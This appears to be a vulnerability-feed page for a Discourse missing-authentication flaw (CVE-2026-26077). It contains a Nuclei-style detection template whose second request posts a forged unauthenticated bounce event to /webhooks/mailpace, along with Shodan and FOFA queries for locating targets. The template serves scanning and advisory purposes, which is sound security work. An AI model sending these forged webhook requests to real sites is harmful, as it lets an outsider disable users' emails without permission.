CVE-2026-26077: Discourse - Unauthenticated Mailpace Webhook Bounce-Score Forgery

2026-10-15 PoC Public

Description

Discourse's WebhooksController contains a missing-authentication flaw caused by accepting requests to provider webhook endpoints (including /webhooks/mailpace, SendGrid, Mailjet, Mandrill, Postmark, and SparkPost) without validating a token when none is configured, which is the default state, letting an unauthenticated attacker forge webhook payloads.

Details

CVE
CVE-2026-26077 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-26077

info:
  name: Discourse - Unauthenticated Mailpace Webhook Bounce-Score Forgery
  author: str4k3r
  severity: medium
  description: |
    Discourse's WebhooksController contains a missing-authentication flaw caused by accepting requests to provider webhook endpoints (including /webhooks/mailpace, SendGrid, Mailjet, Mandrill, Postmark, and SparkPost) without validating a token when none is configured, which is the default state, letting an unauthenticated attacker forge webhook payloads.
  impact: |
    An unauthenticated attacker can forge bounce-status webhook events to artificially inflate a user's bounce score, causing that user's legitimate emails to be disabled.
  remediation: |
    Upgrade Discourse to the patched version, which rejects any provider webhook request with HTTP 406 when no authentication token is configured for that provider.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-j67c-53j2-4hfw
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
    cvss-score: 6.5
    cve-id: CVE-2026-26077
    epss-score: 0.00928
    epss-percentile: 0.61113
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: discourse
    product: discourse
    shodan-query: http.component:"Discourse"
    fofa-query: body="Discourse"
  tags: cve,cve2026,discourse,authbypass,unauth

variables:
  token: "{{randstr}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Discourse")'
        internal: true

  - raw:
      - |
        POST /webhooks/mailpace HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"event":"email.bounced","payload":{"message_id":"{{token}}@example.local","status":"bounced"}}

    matchers:
      - type: dsl
        dsl:
          - 'regex("^\\s*$", body)'
          - 'contains(header, "X-Request-Id")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502210094b67600ad86915aa3821050d0f3c2ca4cf818a75c4f0534e51de0bee97592c802201b4184a6db36b885310270dafab891bc9aa8db0a4c025f686993754a0c0232cf:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life